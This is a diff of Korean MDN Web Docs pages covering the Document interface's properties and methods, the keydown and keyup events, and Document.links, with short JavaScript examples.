{{domxref("Document.documentURI")}} {{readonlyinline}}
+
문서의 위치를 문자열로 반환합니다.
+
{{domxref("Document.embeds")}} {{readonlyinline}}
+
현재 문서에 포함된 {{HTMLElement("embed")}} 요소 목록을 반환합니다.
+
{{domxref("Document.fonts")}}
+
현재 문서의 {{domxref("FontFaceSet")}} 인터페이스를 반환합니다.
+
{{domxref("Document.forms")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("form")}} 요소 목록을 반환합니다.
+
{{domxref("Document.head")}} {{readonlyinline}}
+
현재 문서의 {{HTMLElement("head")}} 요소를 반환합니다.
+
{{domxref("Document.hidden")}} {{readonlyinline}}
+
현재 문서의 숨김 여부를 반환합니다.
+
{{domxref("Document.images")}} {{readonlyinline}}
+
현재 문서의 이미지 목록을 반환합니다.
+
{{domxref("Document.implementation")}} {{readonlyinline}}
+
현재 문서와 연관된 DOM 구현을 반환합니다.
+
{{domxref("Document.lastStyleSheetSet")}} {{readonlyinline}}
+
마지막에 활성화된 스타일 시트 세트의 이름을 반환합니다. {{domxref("Document.selectedStyleSheetSet","selectedStyleSheetSet")}} 값을 설정하여 스타일 시트가 변경되기 전에는 null 값을 갖습니다.
+
{{domxref("Document.links")}} {{readonlyinline}}
+
문서의 모든 하이퍼링크 목록을 반환합니다.
+
{{domxref("Document.mozSyntheticDocument")}} {{non-standard_inline}}
+
문서가 synthetic, 즉 단일 이미지, 비디오, 오디오 파일이나 이와 비슷한 것인 경우 {{jsxref("Boolean")}} true를 반환합니다.
+
{{domxref("Document.plugins")}} {{readonlyinline}}
+
사용 가능한 플러그인의 목록을 반환합니다.
+
{{domxref("Document.policy")}} {{readonlyinline}} {{experimental_inline}}
+
특정 문서에 적용되는 기능 정책을 자성하기 위한 간단한 API 를 제공하는 {{domxref("Policy")}} 인터페이스를 반환합니다.
+
{{domxref("Document.preferredStyleSheetSet")}} {{readonlyinline}}
+
페이지 작성자가 지정한 선호 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.scripts")}} {{readonlyinline}}
+
문서의 모든 {{HTMLElement("script")}} 요소를 반환합니다.
+
{{domxref("Document.scrollingElement")}} {{readonlyinline}}
+
문서를 스크롤 하는 {{domxref("Element")}}에 대한 참조를 반환합니다.
+
{{domxref("Document.selectedStyleSheetSet")}}
+
현재 사용 중인 스타일 시트 세트를 반환합니다.
+
{{domxref("Document.styleSheetSets")}} {{readonlyinline}}
+
문서에서 사용 가능한 스타일 시트 세트의 목록을 반환합니다.
+
{{domxref("Document.timeline")}} {{readonlyinline}}
+
페이지 로드 시 자동으로 생성하는 {{domxref("DocumentTimeline")}}의 인스턴스를 반환합니다.
+
{{domxref("Document.undoManager")}} {{readonlyinline}} {{experimental_inline}}
+
…
+
{{domxref("Document.visibilityState")}} {{readonlyinline}}
+
문서의 표시 상태를 나타내는 문자열을 반환합니다. 가능한 값은 visible, hidden, prerender, unloaded입니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +

{{page("/ko/docs/Web/API/ParentNode","속성")}}

+ +

HTMLDocument 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("Document.cookie")}}
+
문서의 쿠키 리스트를 세미콜론으로 분리해 반환하거나, 하나의 쿠키를 설정합니다.
+
{{domxref("Document.defaultView")}} {{readonlyinline}}
+
{{domxref("Window")}} 객체의 참조를 반환합니다.
+
{{domxref("Document.designMode")}}
+
문서 전체의 수정 가능 여부를 설정/반환합니다.
+
{{domxref("Document.dir")}}
+
문서의 쓰기 방향(rtl/ltr)을 설정/반환합니다.
+
{{domxref("Document.domain")}}
+
현재 문서의 도메인을 설정/반환합니다.
+
{{domxref("Document.lastModified")}} {{readonlyinline}}
+
문서가 마지막으로 수정된 날짜를 반환합니다.
+
{{domxref("Document.location")}} {{readonlyinline}}
+
현재 문서의 URI를 반환합니다.
+
{{domxref("Document.readyState")}} {{readonlyinline}}
+
문서의 불러오기 상태를 반환합니다.
+
{{domxref("Document.referrer")}} {{readonlyinline}}
+
현재 페이지로 연결한 페이지의 URI를 반환합니다.
+
{{domxref("Document.title")}}
+
문서의 제목을 설정하거나 반환합니다.
+
{{domxref("Document.URL")}} {{readonlyInline}}
+
문서의 위치를 문자열로 반환합니다.
+
+ +

DocumentOrShadowRoot에서 포함한 속성

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인이 정의하는 다음의 속성을 포함합니다. 지금은 Chrome만 DocumentOrShadowRoot 믹스인으로 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 직접 구현합니다.

+ +
+
{{domxref("DocumentOrShadowRoot.activeElement")}} {{readonlyInline}}
+
섀도 트리 내에서 포커스를 가진 {{domxref('Element')}} 를 반환합니다.
+
{{domxref("Document.fullscreenElement")}} {{readonlyinline}}
+
현재 문서에서 전체 화면 모드 중인 요소를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.pointerLockElement")}} {{readonlyinline}} {{experimental_inline}}
+
포인터가 잠긴 동안 마우스 이벤트의 대상으로 설정한 요소를 반환합니다. 잠금 대기 중이거나, 포인터의 잠금이 해제됐거나, 대상이 다른 문서에 존재하는 경우 null입니다.
+
{{domxref("DocumentOrShadowRoot.styleSheets")}} {{readonlyInline}}
+
문서가 포함하거나 명시적으로 연결한 스타일 시트를 나타내는, {{domxref("CSSStyleSheet")}}의 {{domxref("StyleSheetList")}} 객체를 반환합니다.
+
+ +

이벤트 처리기

+ +
+
{{domxref("Document.onafterscriptexecute")}} {{non-standard_inline}}
+
{{event("afterscriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onbeforescriptexecute")}} {{non-standard_inline}}
+
{{event("beforescriptexecute")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncopy")}} {{non-standard_inline}}
+
{{event("copy")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.oncut")}} {{non-standard_inline}}
+
{{event("cut")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onfullscreenchange")}}
+
{{event("fullscreenchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onfullscreenerror")}}
+
{{event("fullscreenerror")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onpaste")}} {{non-standard_inline}}
+
{{event("paste")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onreadystatechange")}}
+
{{event("readystatechange")}} 이벤트를 위한 이벤트 핸들링 코드를 나타냅니다.
+
{{domxref("Document.onselectionchange")}} {{experimental_inline}}
+
{{event("selectionchange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
{{domxref("Document.onvisibilitychange")}}
+
{{event("visibilitychange")}} 이벤트가 발생할 때 호출되는 코드를 나타내는 {{domxref("EventHandler")}} 입니다.
+
+ +

Document 인터페이스는 {{domxref("GlobalEventHandlers")}} 인터페이스를 확장합니다.

+ +

{{Page("/ko/docs/Web/API/GlobalEventHandlers", "속성")}}

+ +

사용하지 않는 속성

+ +
+
{{domxref("Document.alinkColor")}} {{Deprecated_inline}}
+
다큐먼트 바디에 있는 활성 링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.all")}} {{Deprecated_inline}} {{non-standard_inline}}
+
다큐먼트의 모든 엘리먼트로의 접근을 제공합니다. 레거시이며 비표준 속성이므로 사용되면 안됩니다.
+
{{domxref("Document.applets")}} {{Deprecated_inline}} {{readonlyinline}}
+
다큐먼트에 있는 애플릿의 정렬된 리스트를 반환합니다.
+
{{domxref("Document.async")}} {{Deprecated_inline}}
+
{{domxref("Document.load")}} 와 사용되어 비동기 요청을 나타냅니다.
+
{{domxref("Document.bgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 배경 색상을 설정하거나 반환합니다.
+
{{domxref("Document.charset")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.domConfig")}} {{Deprecated_inline}}
+
{{domxref("DOMConfiguration")}} 객체를 반환합니다.
+
{{domxref("document.fgColor")}} {{Deprecated_inline}}
+
현재 다큐먼트의 foreground 색상이나 텍스트 색상을 설정하거나 반환합니다.
+
{{domxref("Document.fullscreen")}} {{obsolete_inline}}
+
다큐먼트가 {{domxref("Using_full-screen_mode","full-screen mode")}}에 있을 때 true 를 반환합니다.
+
{{domxref("Document.height")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 높이를 설정하거나 반환합니다.
+
{{domxref("Document.inputEncoding")}} {{readonlyinline}} {{Deprecated_inline}}
+
{{domxref("Document.characterSet")}} 과 동일합니다. {{domxref("Document.characterSet")}} 속성을 사용하시기 바랍니다.
+
{{domxref("Document.linkColor")}} {{Deprecated_inline}}
+
다큐먼트내 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.vlinkColor")}} {{Deprecated_inline}}
+
방문한 하이퍼링크의 색상을 설정하거나 반환합니다.
+
{{domxref("Document.width")}} {{non-standard_inline}} {{obsolete_inline}}
+
현재 다큐먼트의 너비를 반환합니다.
+
{{domxref("Document.xmlEncoding")}} {{Deprecated_inline}}
+
XML 선언으로 결정된 인코딩을 반환합니다.
+
{{domxref("Document.xmlStandalone")}} {{obsolete_inline("10.0")}}
+
XML 선언이 다큐먼트를 독립되도록 지정하면 true 를(예, DTD 의 외부가 다큐먼트의 컨텐츠에 영향을 줌), 그렇지 않은 경우 false 를 반환합니다.
+
{{domxref("Document.xmlVersion")}} {{obsolete_inline("10.0")}}
+
XML 선언에 명시된 버전 넘버를 반환합니다. 선언에 명시되어 있지 않은 경우, "1.0" 을 반환합니다.
+
+ +

메서드

+ +

Documet는 {{domxref("Node")}}와 {{domxref("EventTarget")}} 인터페이스도 상속합니다.

+ +
+
{{domxref("Document.adoptNode()")}}
+
외부 문서로부터 노드를 가져옵니다.
+
{{domxref("Document.captureEvents()")}} {{Deprecated_inline}}
+
{{domxref("Window.captureEvents")}}를 확인하세요.
+
{{domxref("Document.caretRangeFromPoint()")}}{{non-standard_inline}}
+
지정한 좌표에 위치한 문서 프래그먼트에 대한 {{domxref("Range")}} 객체를 반환합니다.
+
{{domxref("Document.createAttribute()")}}
+
새로운 {{domxref("Attr")}} 객체를 생성하고 반환합니다.
+
{{domxref("Document.createAttributeNS()")}}
+
주어진 네임스페이스에 새로운 속성 노드를 생성하고 반환합니다.
+
{{domxref("Document.createCDATASection()")}}
+
새로운 CDATA 노드를 생성하고 반환합니다.
+
{{domxref("Document.createComment()")}}
+
새로운 주석 노드를 생성하고 반환합니다.
+
{{domxref("Document.createDocumentFragment()")}}
+
새로운 문서 조각을 생성합니다.
+
{{domxref("Document.createElement()")}}
+
주어진 태그명을 사용해 새로운 요소를 생성합니다.
+
{{domxref("Document.createElementNS()")}}
+
주어진 태그명과 네임스페이스 URI를 갖는 새로운 요소를 생성합니다.
+
{{domxref("Document.createEntityReference()")}} {{obsolete_inline}}
+
새로운 개체 참조를 생성하고 반환합니다.
+
{{domxref("Document.createEvent()")}}
+
이벤트 객체를 생성합니다.
+
{{domxref("Document.createNodeIterator()")}}
+
{{domxref("NodeIterator")}} 객체를 생성합니다.
+
{{domxref("Document.createProcessingInstruction()")}}
+
새로운 {{domxref("ProcessingInstruction")}} 객체를 생성합니다.
+
{{domxref("Document.createRange()")}}
+
{{domxref("Range")}} 객체를 생성합니다.
+
{{domxref("Document.createTextNode()")}}
+
텍스트 노드를 생성합니다.
+
{{domxref("Document.createTouch()")}} {{Deprecated_inline}}
+
{{domxref("Touch")}} 객체를 생성합니다.
+
{{domxref("Document.createTouchList()")}}
+
{{domxref("TouchList")}} 객체를 생성합니다.
+
{{domxref("Document.createTreeWalker()")}}
+
{{domxref("TreeWalker")}} 객체를 생성합니다.
+
{{domxref("Document.enableStyleSheetsForSet()")}}
+
지정한 스타일 시트 세트의 스타일 시트를 활성화합니다.
+
{{domxref("Document.exitPointerLock()")}} {{experimental_inline}}
+
포인터 잠금을 해제합니다.
+
{{domxref("Document.getAnimations()")}} {{experimental_inline}}
+
문서의 자손 요소를 대상으로 하고, 현재 실행 중인 모든 {{domxref("Animation")}} 객체를 배열로 반환합니다.
+
{{domxref("Document.getElementsByClassName()")}}
+
주어진 클래스 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagName()")}}
+
주어진 태그명을 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.getElementsByTagNameNS()")}}
+
주어진 태그명과 네임스페이스를 갖는 요소의 목록을 반환합니다.
+
{{domxref("Document.hasStorageAccess()")}}
+
문서가 퍼스트파티first-party 저장소에 접근할 수 있는지 나타내는 {{jsxref("Boolean")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.importNode()")}}
+
외부 문서의 노드 복제본을 반환합니다.
+
{{domxref("Document.normalizeDocument()")}} {{obsolete_inline}}
+
개체 대체, 텍스트 노드 정규화 등의 작업을 실행합니다.
+
{{domxref("Document.releaseCapture()")}} {{non-standard_inline}}
+
문서의 요소에 현재 마우스 캡쳐가 있다면 이를 해제합니다.
+
{{domxref("Document.releaseEvents()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
{{domxref("Window.releaseEvents()")}}를 확인하세요.
+
{{domxref("Document.requestStorageAccess()")}}
+
퍼스트파티first-party 저장소로의 접근이 가능한 경우 이행하고 불가능한 경우 거부하는 {{jsxref("Promise")}}를 반환합니다.
+
{{domxref("Document.routeEvent()")}} {{non-standard_inline}} {{obsolete_inline(24)}}
+
{{domxref("Window.routeEvent()")}}를 확인하세요.
+
{{domxref("Document.mozSetImageElement()")}} {{non-standard_inline}}
+
지정한 요소 ID를 위한 배경 이미지로 사용되도록 요소 변경을 허용합니다.
+
+ +

Document 인터페이스는 {{domxref("ParentNode")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.getElementById()")}}
+
주어진 ID를 가진 요소의 참조를 반환합니다.
+
{{domxref("document.querySelector()")}}
+
문서 내에서 주어진 선택자를 만족하는 첫 번째 {{jsxref("Element")}}를 반환합니다.
+
{{domxref("document.querySelectorAll()")}}
+
주어진 선택자를 만족하는 모든 요소의 {{jsxref("NodeList")}}를 반환합니다.
+
+ +

Document 인터페이스는 {{domxref("XPathEvaluator")}} 인터페이스를 확장합니다.

+ +
+
{{domxref("document.createExpression()")}}
+
나중에 (여러 번) 평가할 수 있도록 XPathExpression을 컴파일합니다.
+
{{domxref("document.createNSResolver()")}}
+
{{domxref("XPathNSResolver")}} 객체를 생성합니다.
+
{{domxref("document.evaluate()")}}
+
XPath 표현을 평가합니다.
+
+ +

HTML 문서의 확장

+ +

HTML 문서를 위한 Document 인터페이스는 HTML5 이전엔 {{domxref("HTMLDocument")}} 인터페이스를 상속하고, 이후로는 확장합니다.

+ +
+
{{domxref("document.clear()")}} {{non-standard_inline}} {{Deprecated_inline}}
+
최근의 Firefox와 Internet Explorer를 포함하는 주요 최신 브라우저에서, 이 메소드는 아무것도 하지 않습니다.
+
{{domxref("document.close()")}}
+
작성을 위한 문서 스트림을 닫습니다.
+
{{domxref("document.execCommand()")}}
+
수정 가능한 문서에서 서식 명령을 실행합니다.
+
{{domxref("document.getElementsByName()")}}
+
주어진 이름을 갖는 요소의 목록을 반환합니다.
+
{{domxref("document.hasFocus()")}}
+
포커스가 지정한 문서 내 어느 곳이든 위치한 경우 true를 반환합니다.
+
{{domxref("document.open()")}}
+
작성을 위한 문서 스트림을 엽니다.
+
{{domxref("document.queryCommandEnabled()")}}
+
현재 범위에서 서식 명령을 실행할 수 있다면 true를 반환합니다.
+
{{domxref("document.queryCommandIndeterm()")}}
+
현재 범위에서 서식 명령의 상태를 알 수 없으면 true를 반환합니다.
+
{{domxref("document.queryCommandState()")}}
+
현재 범위에서 서식 명령을 실행했다면 true를 반환합니다.
+
{{domxref("document.queryCommandSupported()")}}
+
현재 범위에서 서식 명령이 지원된다면 true를 반환합니다.
+
{{domxref("document.queryCommandValue()")}}
+
현재 범위에서 서식 명령을 위한 현재 값을 반환합니다.
+
{{domxref("document.write()")}}
+
문서에 텍스트를 작성합니다.
+
{{domxref("document.writeln()")}}
+
문서에 텍스트 한 줄을 작성합니다.
+
+ +

DocumentOrShadowRoot로부터 포함된 메소드

+ +

Document 인터페이스는 {{domxref("DocumentOrShadowRoot")}} 믹스인mixin이 정의하는 다음의 메서드를 포함합니다. 지금은 Chrome만 구현한 상태라는 점에 유의하세요. 다른 브라우저는 Document 인터페이스에 구현 중입니다.

+ +
+
{{domxref("DocumentOrShadowRoot.getSelection()")}}
+
사용자에의해 선택된 텍스트의 범위 또는 캐럿의 현재 위치를 나타내는 {{domxref('Selection')}} 객체를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementFromPoint()")}}
+
지정한 위치에 있는 최상단 엘리먼트를 반환합니다.
+
{{domxref("DocumentOrShadowRoot.elementsFromPoint()")}}
+
지정한 위치에 있는 모든 엘리먼트의 배열을 반환합니다.
+
{{domxref("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
캐럿을 포함하는 DOM 노드와 그 노드내 캐첫의 문자 오프셋을 포함하는 {{domxref('CaretPosition')}} 객체를 반환합니다.
+
+ +

비표준 확장 {{non-standard_inline}}

+ +

{{non-standard_header}}

+ +

Firefox 노트

+ +

Mozilla는 XUL 컨텐츠만을 위해 만들어진 비표준 속성의 집합을 정의합니다.

+ +
+
{{domxref("document.currentScript")}} {{non-standard_inline}}
+
현재 실행중인 {{HTMLElement("script")}} 엘리먼트를 반환합니다.
+
{{domxref("document.documentURIObject")}}
+
(Mozilla 부가 기능 전용!) 다큐먼트의 URI 를 나타내는 {{Interface("nsIURI")}} 객체를 반환합니다. 이 속성은 권한을 가진 자바스크립트 코드(UniversalXPConnect 권한을 갖는)에서만 특별한 의미를 갖습니다.
+
{{domxref("document.popupNode")}}
+
팝업이 불려진 노드를 반환합니다.
+
{{domxref("document.tooltipNode")}}
+
현재 툴팁의 대상이되는 노드를 반환합니다.
+
+ +

Mozilla 는 또한 일부 비표준 메소드를 정의합니다.

+ +
+
{{domxref("document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 항상 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
{{domxref("document.getBoxObjectFor")}} {{obsolete_inline}}
+
{{domxref("Element.getBoundingClientRect()")}} 메소드를 대신 사용하세요.
+
{{domxref("document.loadOverlay")}}
+
XUL 오버레이를 동적으로 로드합니다. XUL 다큐먼트에서만 동작합니다.
+
{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}
+
이 메소드는 아무것도 하지 않았지만 예외를 발생시켰으므로 Gecko 14.0 {{geckoRelease("14.0")}} 에서 제거되었습니다.
+
+ +

Internet Explorer 노트

+ +

Microsoft는 일부 비표준 속성을 정의합니다.

+ +
+
{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}
+
Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See MSDN.
+
+ +

Internet Explorer는 Document 인터페이스내 Node 인터페이스의 모든 메소드를 지원하지 않습니다:

+ +
+
{{domxref("document.contains")}}
+
대안으로 document.body.contains() 를 사용할 수 있습니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName("DOM WHATWG", "#interface-document", "Document")}}{{Spec2("DOM WHATWG")}}DOM 3 대체 의도
{{SpecName("HTML WHATWG", "dom.html#the-document-object", "Document")}}{{Spec2("HTML WHATWG")}}{{domxref("HTMLDocument")}} 인터페이스를 Document 확장으로 전환.
{{SpecName("HTML Editing", "#dom-document-getselection", "Document")}}{{Spec2("HTML Editing")}}Document 인터페이스 확장
{{SpecName("CSSOM View", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM View")}}Document 인터페이스 확장
{{SpecName("CSSOM", "#extensions-to-the-document-interface", "Document")}}{{Spec2("CSSOM")}}Document 인터페이스 확장
{{SpecName("Pointer Lock", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Pointer Lock")}}Document 인터페이스 확장
{{SpecName("Page Visibility API", "#extensions-to-the-document-interface", "Document")}}{{Spec2("Page Visibility API")}}visibilityState 와 hidden 속성과 onvisibilitychange 이벤트 리스너를 갖도록 Document 인터페이스 확장.
{{SpecName("Selection API", "#extensions-to-document-interface", "Document")}}{{Spec2("Selection API")}}getSelection(), onselectstart 와 onselectionchange 추가.
{{SpecName("DOM4", "#interface-document", "Document")}}{{Spec2("DOM4")}}DOM 3 대체
{{SpecName("DOM3 Core", "#i-Document", "Document")}}{{Spec2("DOM3 Core")}}DOM 2 대체
{{SpecName("DOM3 XPath", "xpath.html#XPathEvaluator", "XPathEvaluator")}}{{Spec2("DOM3 XPath")}}다큐먼트를 확장하는 {{domxref("XPathEvaluator")}} 인터페이스 정의.
{{SpecName("DOM2 Core", "#i-Document", "Document")}}{{Spec2("DOM2 Core")}}DOM 1 대체
{{SpecName("DOM1", "#i-Document", "Document")}}{{Spec2("DOM1")}}인터페이스 초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.Document")}}

diff --git a/files/ko/web/api/document/keydown_event/index.html b/files/ko/web/api/document/keydown_event/index.html new file mode 100644 index 0000000000..4d841c084b --- /dev/null +++ b/files/ko/web/api/document/keydown_event/index.html @@ -0,0 +1,153 @@ +--- +title: keydown +slug: Web/API/Document/keydown_event +translation_of: Web/API/Document/keydown_event +--- +

keydown 이벤트늘 키가 눌렸을 때 발생합니다.

+ +

General info

+ +
+
Specification
+
DOM L3
+
Interface
+
KeyboardEvent
+
Bubbles
+
Yes
+
Cancelable
+
Yes
+
Target
+
Document, Element
+
Default Action
+
Varies: keypress event; launch text composition system; blur and focus events; DOMActivate event; other event
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}EventTargetThe event target (the topmost target in the DOM tree).
type {{readonlyInline}}DOMStringThe type of event.
bubbles {{readonlyInline}}BooleanWhether the event normally bubbles or not
cancelable {{readonlyInline}}BooleanWhether the event is cancellable or not?
view {{readonlyInline}}WindowProxydocument.defaultView (window of the document)
detail {{readonlyInline}}long (float)0.
target {{readonlyInline}}EventTarget (DOM element)Focused element processing the key event, root element if no suitable input element focused.
char {{readonlyInline}}DOMString (string)The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See key names and char values for the detail. +
Note: If the key is used as a macro that inserts multiple characters, this attribute's value is the entire string, not just the first character.
+
key {{readonlyInline}}DOMString (string)The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the char attribute. Otherwise, it's one of the key value strings specified in {{ anch("Key values") }}. If the key can't be identified, this is the string "Unidentified". See key names and char values for the detail. Read Only.
charCode {{readonlyInline}}Unsigned long (int)The Unicode reference number of the key; this attribute is used only by the keypress event. For keys whose char attribute contains multiple characters, this is the Unicode value of the first character in that attribute. +
Warning: This attribute is deprecated; you should use char instead, if available.
+
keyCode {{readonlyInline}}Unsigned long (int)A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
which {{readonlyInline}}Unsigned long (int)A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as keyCode. +
Warning: This attribute is deprecated; you should use key instead, if available.
+
location {{readonlyInline}}long (float)The location of the key on the device.
repeat {{readonlyInline}}booleantrue if a key has been depressed long enough to trigger key repetition, otherwise false.
locale {{readonlyInline}}stringThe language code for the key event, if available; otherwise, the empty string.
ctrlKey {{readonlyInline}}booleantrue if the control key was down when the event was fired. false otherwise.
shiftKey {{readonlyInline}}booleantrue if the shift key was down when the event was fired. false otherwise.
altKey {{readonlyInline}}booleantrue if the alt key was down when the event was fired. false otherwise.
metaKey {{readonlyInline}}booleantrue if the meta key was down when the event was fired. false otherwise.
+ +

preventDefault() of keydown event

+ +

Starting with Gecko 25, a call of preventDefault() of keydown event prevents to dispatch following keypress event. This is valid behavior for D3E spec and the other major web browsers behave so. On the other hand, Gecko 24 or earlier dispatched keypress event even if preventDefault() of preceding keydown event is called. Although the keypress event's defaultPrevented attribute was true in this case.

+ + + + diff --git a/files/ko/web/api/document/keyup_event/index.html b/files/ko/web/api/document/keyup_event/index.html new file mode 100644 index 0000000000..766928b715 --- /dev/null +++ b/files/ko/web/api/document/keyup_event/index.html @@ -0,0 +1,99 @@ +--- +title: 'Document: keyup event' +slug: Web/API/Document/keyup_event +translation_of: Web/API/Document/keyup_event +--- +
{{APIRef}}
+ +

keyup키를 놓을 때 이벤트가 발생합니다.

+ + + + + + + + + + + + + + + + + + + + +
거품예
취소 가능예
상호 작용{{domxref ( "KeyboardEvent")}}
이벤트 핸들러 속성{{domxref ( "GlobalEventHandlers.onkeyup", "onkeyup")}}
+ +

{{domxref ( "Document / keydown_event", "keydown")}} 및 keyup이벤트는 어떤 키를 눌렀는지 나타내는 코드를 제공하고 {{domxref ( "Document / keypress_event", "keypress")}} 는 입력 된 문자를 나타냅니다. . 예를 들어, 소문자 "a"는 keydown및 keyup에서는 65로보고 되지만에서는 97 로보고 됩니다 keypress. 모든 이벤트에서 대문자 "A"는 65로보고됩니다.

+ +
+

참고 : 입력 값의 변경에 대응하는 방법을 찾고 있다면 inputevent를 사용해야합니다 . keyup예를 들어 컨텍스트 메뉴의 텍스트를 텍스트 입력에 붙여 넣는 등의 일부 변경 사항은에서 감지 할 수 없습니다 .

+
+ +

Firefox 65부터 keyupCJKT 사용자의 브라우저 간 호환성을 개선하기 위해 {{domxref ( "Document / keydown_event", "keydown")}} 및 이벤트가 이제 IME 작성 중에 실행됩니다 ({{bug (354358)}}, 자세한 내용 은 IME 작성 중에 keydown 및 keyup 이벤트가 시작 됩니다. 작성의 keyup일부인 모든 이벤트 를 무시하려면 다음과 같이 수행하십시오 (229는 keyCodeIME에 의해 처리 된 이벤트 관련에 대한 특수 값 세트입니다 ).

+ +
eventTarget.addEventListener ( "keyup", event => { 
+  if (event.isComposing || event.keyCode === 229) { 
+    return; 
+  } 
+  // 무언가를합니다 
+});
+
+ +

예

+ +

이 예에서는 키를 놓을 때마다 {{domxref ( "KeyboardEvent.code")}} 값을 기록합니다.

+ +

addEventListener 키업 예제

+ +
<p> 먼저 IFrame에 초점을 맞춘 다음 (예 : 클릭하여) 몇 가지 키를 눌러보십시오. </ p> 
+<p id = "log"> </ p>
+ +
const log = document.getElementById ( 'log'); 
+
+document.addEventListener ( 'keyup', logKey); 
+
+function logKey (e) { 
+  log.textContent + =`$ {e.code}`; 
+}
+ +

{{EmbedLiveSample ( "addEventListener_keyup_example")}}

+ +

onkeyup 해당

+ +
document.onkeyup = logKey;
+ +

명세서

+ + + + + + + + + + + + + + +
사양상태
{{SpecName ( "UI 이벤트", "# event-type-keyup")}}{{Spec2 ( "UI 이벤트")}}
+ +

브라우저 호환성

+ + + +

{{Compat ( "api.Document.keyup_event")}}

+ +

또한보십시오

+ + diff --git a/files/ko/web/api/document/links/index.html b/files/ko/web/api/document/links/index.html new file mode 100644 index 0000000000..4087ef0c0e --- /dev/null +++ b/files/ko/web/api/document/links/index.html @@ -0,0 +1,102 @@ +--- +title: Document.links +slug: Web/API/Document/links +tags: + - Document + - Links + - a + - area + - href +translation_of: Web/API/Document/links +--- +

{{ APIRef("DOM") }}

+ +

links 속성은 document 내에서 href attribute 를 가지는 모든 {{HTMLElement("area")}} 과 {{HTMLElement("a")}} element 들의 collection 을 반환한다.

+ +

Syntax

+ +
nodeList = document.links
+
+ +

Example

+ +
var links = document.links;
+for(var i = 0; i < links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}{{ Spec2('HTML WHATWG') }} 
{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}{{Spec2("DOM2 HTML")}}Initial definition
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
+
